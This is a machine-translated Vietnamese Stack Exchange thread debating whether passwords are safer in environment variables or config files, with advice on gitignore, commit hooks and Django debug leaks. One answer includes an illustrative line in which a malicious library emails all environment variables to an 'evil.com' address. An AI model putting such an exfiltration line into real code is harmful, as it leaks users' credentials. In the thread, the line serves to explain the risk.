Có an toàn để lưu trữ mật khẩu dưới dạng biến môi trường (thay vì văn bản thuần túy) trong tệp cấu hình không?


109

Tôi làm việc trên một số ứng dụng trong rails, django (và một chút php) và một trong những điều tôi bắt đầu làm trong một số ứng dụng đó là lưu trữ cơ sở dữ liệu và mật khẩu khác dưới dạng biến môi trường thay vì văn bản thuần túy trong một số tệp cấu hình nhất định ( hoặc trong settings.py, cho các ứng dụng django).

Khi thảo luận về vấn đề này với một trong những cộng tác viên của tôi, anh ấy cho rằng đây là một thực tiễn kém - rằng có lẽ điều này không hoàn toàn an toàn như lúc đầu tưởng tượng.

Vì vậy, tôi muốn biết - đây có phải là một thực hành an toàn không? Việc lưu trữ mật khẩu dưới dạng văn bản thuần túy trong các tệp này có an toàn hơn không (tất nhiên là đảm bảo không để các tệp này trong kho lưu trữ công khai hoặc bất cứ thứ gì)?

Câu trả lời:


45

Ở cấp độ lý thuyết hơn, tôi có xu hướng nghĩ về các cấp độ bảo mật theo những cách sau (để tăng sức mạnh):

  • Không an toàn. Văn bản thô. Bất kỳ ai biết nơi cần tìm đều có thể truy cập dữ liệu.
  • Bảo mật bằng Obfuscation. Bạn lưu trữ dữ liệu (văn bản rõ) ở một nơi nào đó phức tạp, chẳng hạn như một biến môi trường hoặc trong một tệp có nghĩa giống như một tệp cấu hình. Kẻ tấn công cuối cùng sẽ tìm ra những gì đang xảy ra hoặc tình cờ gặp nó.
  • Bảo mật được cung cấp bởi mã hóa mà rất dễ bị phá vỡ, (hãy nghĩ mật mã caesar!).
  • Bảo mật được cung cấp bởi mã hóa có thể bị phá vỡ với một số nỗ lực.
  • Bảo mật được cung cấp bởi mã hóa không thực tế để phá vỡ phần cứng hiện tại.
  • Hệ thống an toàn nhất là hệ thống mà không ai có thể sử dụng! :)

Biến môi trường là hơn an toàn hơn so với file văn bản thô, bởi vì họ là dễ bay hơi / dùng một lần, không được lưu; tức là nếu bạn chỉ đặt một biến môi trường cục bộ, như "set pwd = anything," rồi chạy script, với thứ gì đó thoát khỏi trình bao lệnh của bạn ở cuối script, thì biến đó không còn tồn tại nữa. Trường hợp của bạn rơi vào hai trường hợp đầu tiên, mà tôi muốn nói là khá không an toàn. Nếu bạn định làm điều này, tôi không khuyên bạn nên triển khai bên ngoài mạng nội bộ / mạng gia đình ngay lập tức của bạn và sau đó chỉ cho mục đích thử nghiệm.


1
Nó phụ thuộc vào hệ điều hành - Trong trường hợp tốt nhất, các biến môi trường cũng dễ bị tổn thương như các tệp bản rõ, nhưng có thể tệ hơn. Với tệp văn bản rõ, bạn có thể đặt quyền đọc trên tệp / thư mục để bảo vệ chúng. IIRC đối với các biến môi trường, chúng sống trong không gian bộ nhớ cho quá trình shell, vì vậy một cracker táo bạo có thể quét không gian đó để tìm kiếm chúng.
John Carter

1
đợi một chút: nếu bạn lưu trữ thông tin đăng nhập bên trong một biến môi trường, chúng cần phải đến đó trước. Hoặc bằng tay, hoặc bằng kịch bản. Để tự động khởi động phần mềm của bạn, tôi muốn giới thiệu một tập lệnh. Nhưng hãy đoán xem, sau đó bạn cần phải lưu trữ chúng trong một tệp cấu hình (đối với biến env). Trừ khi bạn không cung cấp giá trị cho các biến env bằng tay, tôi không thể thấy sự khác biệt về bảo mật đối với các tệp cấu hình.
toán học

59

Như đã đề cập trước đây, cả hai phương pháp đều không cung cấp bất kỳ lớp "bảo mật" bổ sung nào khi hệ thống của bạn bị xâm phạm. Tôi tin rằng một trong những lý do mạnh nhất để ủng hộ các biến môi trường là kiểm soát phiên bản : Tôi đã thấy có quá nhiều cấu hình cơ sở dữ liệu, v.v. được lưu trữ ngẫu nhiên trong hệ thống kiểm soát phiên bản như GIT để mọi nhà phát triển khác có thể xem (và rất tiếc! Điều đó đã xảy ra với tôi cũng vậy ...).

Không lưu trữ mật khẩu của bạn trong các tệp khiến chúng không thể được lưu trữ trong hệ thống kiểm soát phiên bản.


6
Một giải pháp thay thế khá hợp lý để không lưu trữ cài đặt cấu hình bí mật trong kiểm soát phiên bản là lưu trữ chúng trong một kho lưu trữ kiểm soát phiên bản hoặc dự án tách biệt với kho lưu trữ mã.
Kenny Evitt

1
@KennyEvitt vẫn để lại mật khẩu văn bản rõ, không an toàn ở một vị trí được chia sẻ mà bất kỳ ai có quyền truy cập vào kho lưu trữ đều có thể tìm thấy và không có cách nào để theo dõi ai đã truy cập vào nó.
FistOfFury

2
@FistOfFury Chắc chắn, bất kỳ ai có quyền truy cập vào kho lưu trữ ... đều có thể truy cập vào kho lưu trữ. Điểm lưu trữ bí mật trong một kho riêng là chính xác để người ta có thể kiểm soát quyền truy cập vào những bí mật đó khác với chính mã. Nhưng các kho lưu trữ có thể được bảo mật, ví dụ như bạn có thể lưu trữ các bí mật được mã hóa ở 'vị trí được chia sẻ'. Và bạn thậm chí có thể theo dõi thông tin về quyền truy cập vào kho lưu trữ ở vị trí được chia sẻ. Tuy nhiên, tất nhiên, việc cho phép bất kỳ ai truy cập thông tin ngụ ý rằng họ có thể sao chép thông tin đó và do đó có thể truy cập bất cứ lúc nào trong tương lai mà không bị hạn chế hoặc theo dõi.
Kenny Evitt

2
Lý do tuyệt vời để sử dụng giải pháp quản lý cấu hình cho phép bạn lưu trữ các bí mật được mã hóa, sau đó thay thế chúng trong các mẫu cấu hình tại thời điểm hiển thị. Chef có các túi dữ liệu được mã hóa, Ansible có các hầm, v.v.
Brian Cline

1
Đây được gọi là Quản lý truy cập đặc quyền, nơi các bí mật được lưu trữ trong một PAM Vault tập trung với các kiểm soát truy cập toàn diện. Gartner liệt kê một số sản phẩm như vậy .
Amit Naidu

44

Bất cứ lúc nào bạn phải lưu trữ mật khẩu, điều đó là không an toàn. Giai đoạn = Stage. Không có cách nào để lưu trữ mật khẩu chưa được mã hóa một cách an toàn. Bây giờ, biến môi trường nào so với tệp cấu hình "an toàn" hơn có lẽ còn phải tranh cãi. IMHO, nếu hệ thống của bạn bị xâm phạm, nó không thực sự quan trọng được lưu trữ ở đâu, một hacker siêng năng có thể theo dõi nó.


12
Đối với các biến môi trường, tôi đang mong đợi unix ở đây ... Các biến môi trường kém an toàn hơn các tệp. Bất kỳ ai cũng có thể kiểm tra môi trường của một tiến trình đang chạy, nhưng các tệp ít nhất có thể có ACL.
Vatine

11
Cho rằng nhà phát triển phải lưu trữ những mật khẩu này, đây không phải là một câu trả lời quá hữu ích. Bạn đề nghị anh ấy lưu trữ chúng ở đâu?
Peter Nixey,

2
@Vatine Địa điểm hiển thị các biến môi trường cũng có quyền. Hãy thử cat /proc/1/environlàm ví dụ.
Chris Down

4
@Vatine Thật không? Tôi không thấy bất kỳ môi trường nào cho các quy trình không do tôi sở hữu ps axe. strace -e open ps axecho thấy nó đang lấy thông tin này từ /proc/[pid]/environđó có quyền thực thi (do đó có rất nhiều open("/proc/19795/environ", O_RDONLY) = -1 EACCES (Permission denied)).
Chris Down

4
Huh. Nhìn vào đó, một vấn đề cuối cùng đã được khắc phục (trước đây psđã được giải quyết và vui vẻ cho bạn thấy môi trường của khá nhiều thứ).
Vatine

28

Xin lỗi, tôi không có đủ đại diện để bình luận, nhưng tôi cũng muốn nói thêm rằng nếu bạn không cẩn thận, trình bao của bạn cũng có thể chiếm được mật khẩu đó trong lịch sử lệnh của nó. Vì vậy, chạy một cái gì đó như $ pwd=mypassword my_progthủ công không phải là phù du như bạn có thể hy vọng.


21
nếu bạn có tiền tố toàn bộ "env var + lệnh" với một không gian, sau đó nó không được lưu trữ trong lịch sử
Shadi

cảm ơn @shadi. Học điều mới mỗi ngày! Tôi tự hỏi liệu đó có phải là shell cụ thể / dễ tắt hay đó là thứ mà người ta có thể mong đợi khá nhất quán?
brianclements

4
Một cách khác là sử dụng cách read -s MY_PASS_VARnày sẽ bảo vệ khỏi cả tìm kiếm lịch sử vỏ và người lướt vai.
MatrixManAtYrService

4
@brianclements Tôi muốn thêm tiền tố lệnh bằng khoảng trắng chỉ hoạt động nếu trình bao hiện tại HISTCONTROLđược đặt thành ignorespacehoặc ignoreboth, vì vậy về mặt kỹ thuật, nó có thể được bật / tắt.
Moses

14

Tôi nghĩ khi có thể, bạn nên lưu trữ thông tin đăng nhập của mình trong một tệp gitignored chứ không phải dưới dạng các biến môi trường.

Một trong những điều cần xem xét khi lưu trữ thông tin xác thực trong các biến ENV (môi trường) so với tệp là các biến ENV có thể rất dễ dàng được kiểm tra bởi bất kỳ thư viện hoặc phụ thuộc nào bạn sử dụng.

Điều này có thể được thực hiện một cách độc hại hoặc không. Ví dụ: một tác giả thư viện có thể gửi email dấu vết ngăn xếp cộng với các biến ENV cho chính họ để gỡ lỗi (không phải là phương pháp hay nhất, nhưng có thể làm được).

Nếu thông tin đăng nhập của bạn nằm trong một tệp, thì việc đạt được chúng sẽ khó hơn nhiều.

Cụ thể, hãy nghĩ về một npm trong nút. Đối với một npm để xem thông tin đăng nhập của bạn nếu chúng có trong ENV là một vấn đề đơn giản process.ENV. Mặt khác, nếu chúng nằm trong một tập tin, thì đó là một công việc nhiều hơn.

Tệp thông tin xác thực của bạn có được kiểm soát phiên bản hay không là một câu hỏi riêng. Không phải phiên bản kiểm soát tệp thông tin xác thực của bạn sẽ hiển thị tệp đó cho ít người hơn. Tất cả các nhà phát triển không cần phải biết thông tin đăng nhập sản xuất. Vì điều này tuân theo nguyên tắc ít đặc quyền nhất, tôi khuyên bạn nên git bỏ qua tệp thông tin đăng nhập của bạn.


6
+1 cho "tác giả thư viện có thể gửi email dấu vết ngăn xếp cộng với các biến ENV cho chính họ để gỡ lỗi". Chưa bao giờ nghĩ về viễn cảnh này.
netishix 24/09/19

6

Nó phụ thuộc vào mô hình mối đe dọa của bạn.

Bạn có đang cố gắng ngăn người dùng của mình rắc mật khẩu lên tất cả các hệ thống tệp của họ, nơi chúng có khả năng bị quên và xử lý sai không? Nếu vậy thì có, bởi vì các biến môi trường ít bền hơn so với tệp.

Bạn đang cố gắng bảo vệ chống lại thứ gì đó độc hại đang nhắm trực tiếp vào chương trình của bạn? Nếu vậy, thì không, bởi vì các biến môi trường không có cùng mức kiểm soát truy cập mà các tệp làm.

Cá nhân tôi nghĩ rằng những người dùng cẩu thả thường phổ biến hơn những kẻ thù có động cơ, vì vậy tôi sẽ sử dụng phương pháp tiếp cận biến môi trường.


0

AFAICT, có hai lý do mọi người khuyên bạn nên lưu trữ bí mật trong các biến môi trường:

  1. Quá dễ dàng để vô tình chuyển các tệp phẳng bí mật vào một kho lưu trữ. (Và nếu đó là repo công khai, bạn sẽ nâng cốc.)
  2. Nó ngăn chặn sự lộn xộn của mật khẩu, tức là, có cùng một khóa trong nhiều tệp thư mục dự án khác nhau, bản thân nó là một rủi ro bảo mật vì các nhà phát triển cuối cùng sẽ mất dấu vị trí của các bí mật.

Hai vấn đề này có thể được giải quyết theo những cách tốt hơn. Điều trước đây sẽ được giải quyết bằng một hook commit git để kiểm tra những thứ giống như mật khẩu (ví dụ: gitleaks ). Tôi ước Linus xây dựng một công cụ như vậy vào mã nguồn của thư viện git nhưng, than ôi, điều đó đã không xảy ra. (Không cần phải nói, các tệp bí mật luôn phải được thêm vào .gitignore, nhưng bạn cần có một hook trong trường hợp ai đó quên làm như vậy.)

Vấn đề thứ hai có thể được giải quyết bằng cách có một tệp bí mật công ty toàn cầu, được lưu trữ lý tưởng trên một bộ nhớ dùng chung chỉ đọc. Vì vậy, trong Python, bạn có thể có một cái gì đó giống như from company_secrets import *.

Quan trọng hơn, như những người khác đã chỉ ra, việc hack các bí mật được lưu trữ trong các biến môi trường quá dễ dàng. Ví dụ: trong Python, một tác giả thư viện có thể chèn send_email(address="evil.person@evil.com", text=json.dumps(os.environ))và sau đó bạn sẽ nâng cốc nếu bạn thực thi mã này. Lấy cắp dữ liệu sẽ khó khăn hơn nhiều nếu bạn có một tệp trên hệ thống của mình có tên~/secret_company_stuff/.my_very_secret_company_stuff .

Chỉ người dùng Django:
Django (ở chế độ GỠ LỖI) hiển thị giá trị thô của biến môi trường trong trình duyệt nếu có một ngoại lệ (ở chế độ GỬI). Điều này có vẻ rất không an toàn nếu chẳng hạn, một nhà phát triển vô tình bắt đầu DEBUG=Truesản xuất. Ngược lại, Django DOES xáo trộn các thiết lập mật khẩu biến bằng cách tìm kiếm chuỗi API, TOKEN, KEY, SECRET, PASShoặc SIGNATUREtrong khuôn khổ của settings.pytên biến hồ sơ của.

Khi sử dụng trang web của chúng tôi, bạn xác nhận rằng bạn đã đọc và hiểu Chính sách cookieChính sách bảo mật của chúng tôi.
Licensed under cc by-sa 3.0 with attribution required.